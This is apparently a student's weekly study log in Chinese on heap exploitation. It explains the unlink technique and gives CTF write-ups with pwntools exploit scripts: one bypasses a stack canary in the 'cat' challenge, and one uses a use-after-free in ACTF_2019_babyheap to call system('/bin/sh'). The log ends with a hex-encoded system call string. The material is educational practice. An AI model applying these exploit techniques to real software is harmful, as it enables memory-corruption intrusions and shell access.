本周学习总结
堆の康复训练。。。
全局常量声明:新手上路,文章内容仅是由教程观点和自己总结获得,仅供参考。
一、Unlink
Unlink是一种合并堆块的手段,在有堆溢出漏洞时可以被利用为地址任意写。
网络上讲解的时候大都直接放源码,CPU给我干烧了,实际上该漏洞十分简单。
这个漏洞的关键在于对当前chunk进行写入的时候可以对该chunk物理上相邻的下一个chunk的size字段进行改写,将P从1改成0,表示当前chunk是释放状态(实际上未释放),此时释放下一个chunk导致下一个chunk尝试与该chunk合并。
我们在编辑该chunk时需要提前写入该chunk的大小,fd指针,bk指针,pre_size大小以及下一个chunk的size字段。
当下一个chunk合并时,会将chunk指针指向当前chunk,同时对当前chunk的fd->bk和bk->fd进行检查,也就是当前chunk的上一个chunk的bk和当前chunk的下一个chunk的fd必须是当前chunk的地址,正常情况下来说是没问题的。
但是此时当前chunk的fd和bk是由我们自己写的,在程序进行合并chunk时需要改变上一个chunk的fd来连接到当前chunk的下一个chunk,下一个chunk的bk需要连接到当前chunk的上一个chunk。我们此时可以在当前chunk的fd和bk写下地址(fd写入fack_addr - 0x18,bk写入fack_addr - 0x10),这样通过程序的连接修改后fack_addr里面就会存储fack_addr-0x18的值。
如果题目中使用的bss段的一个数组用来存储所有chunk的地址,我们可以将该数组的地址写入到fack_addr上,此时我们就有了修改此数组的机会,我们可以将数组中的地址修改为一些got表,然后通过edit函数来修改got表。
二、Easy–cat
下载文件得到cat。
check!

开启canary+NX
ida分析如下:
main:

vul:

door:

其中num1和num2是bss段上的数组。
我们可以看到程序中是开启canary的,我们的目标的改rip的地址到后门函数中。
在这个题目中我们无法知道canary的值,但是我们有strcat和strcpy这两个函数。
我们已知canary的尾号为\x00,而strcat的原理是找到当前字符串的\x00然后取消掉这个\x00,然后将字符串连接到这里。如果我们能将canary的\x00覆盖掉,此时就是rbp的值,而rbp的最高位就是\x00,我们用两个字节填充最高位,然后就可以修改rip的值。
此时我们需要将canary末尾的\x00改回来,此时strcpy的时候刚好溢出\x00到canary就可以了。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| from pwn import *
def stre(a): return str(a).encode()
def ph(a, b="addr"): print(b + ":" + hex(a))
def re(a): return p.recv(a)
def pre(a): print(p.recv(a))
def reu(a, b=False): return p.recvuntil(a, drop=b)
def rel(): return p.recvline()
def se(a): p.send(a)
def sea(a, b): p.sendafter(a, b)
def sel(a): p.sendline(a)
def sela(a, b): p.sendlineafter(a, b)
def op(): p.interactive()
def raddr64(): return u64(p.recv(6).ljust(8, b'\x00'))
def raddr32(): return u32(p.recv(4))
def gdbp(p, a=''): if a != '': gdb.attach(p, a) pause() else: gdb.attach(p) pause()
def gret(elf): rop = ROP(elf) rop_ret = rop.find_gadget(["ret"]).address return rop_ret
p = process("./cat")
payload = b"AA" + p64(0x4011FE) sea(b"read:\n", payload)
payload = b"C" * 0x18 + b"\x00" sea(b"read:\n", payload)
payload = b"A" * 0x39 sea(b"read:\n", payload)
op()
|
flag到手:

三、Easy–ACTF_2019_babyheap–UAF
下载文件得到ACTF_2019_babyheap
Check!

除PIE其他保护全开。
ida,启动!
main:

mean:

add:

del:

show:

prffun:

system地址:

/bin/sh地址:

发现了system函数和/bin/sh\x00,可惜并不在一起。
在del函数中发现了UAF漏洞。
add函数会固定申请一次0x10的块来存放用户申请的块和一个输出函数地址。
show函数会通过输出函数地址来输出用户存放的数据。
我们可以申请两个0x30大小的堆块,然后再释放他们,这样就得到了两个0x10的已释放堆块。
我们再申请一次0x10大小的堆块,此时0号堆块变成了我们的可编辑堆块。
我们在0号堆块的前8个字节中写入/bin/sh\x00的地址,然后在后8个字节中写入systme的plt地址。
最后使用show(0)来执行system(“/bin/sh\x00”)
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| from pwn import *
def stre(a): return str(a).encode()
def ph(a, b="addr"): print(b + ":" + hex(a))
def re(a): return p.recv(a)
def pre(a): print(p.recv(a))
def reu(a, b=False): return p.recvuntil(a, drop=b)
def rel(): return p.recvline()
def se(a): p.send(a)
def sea(a, b): p.sendafter(a, b)
def sel(a): p.sendline(a)
def sela(a, b): p.sendlineafter(a, b)
def op(): p.interactive()
def raddr64(): return u64(p.recv(6).ljust(8, b'\x00'))
def raddr32(): return u32(p.recv(4))
def gdbp(p, a=''): if a != '': gdb.attach(p, a) else: gdb.attach(p) pause()
def gret(elf): rop = ROP(elf) rop_ret = rop.find_gadget(["ret"]).address return rop_ret
p = process("./ACTF_2019_babyheap")
def add(size, content): sea(b"choice: ", stre(1)) sea(b"size: ", stre(size)) sea(b"content: ", content)
def show(count): sea(b"choice: ", stre(3)) sea(b"index: ", stre(count))
def dele(count): sea(b"choice: ", stre(2)) sea(b"index: ", stre(count))
add(0x20, b"A" * 0x20) add(0x20, b"B" * 0x20) dele(0) dele(1) add(0x10, p64(0x602010) + p64(0x4007A0)) show(0) op()
|

四、本来想试试Unlink的,但是被题目的缓冲区混乱恶心到了,下次一定
下周学习计划
| 应该要做的事情 |
完成堆基础学习,进入堆实战
学习感受
73 79 73 74 65 6d 28 22 2f 62 69 6e 2f 73 68 5c 78 30 30 22 29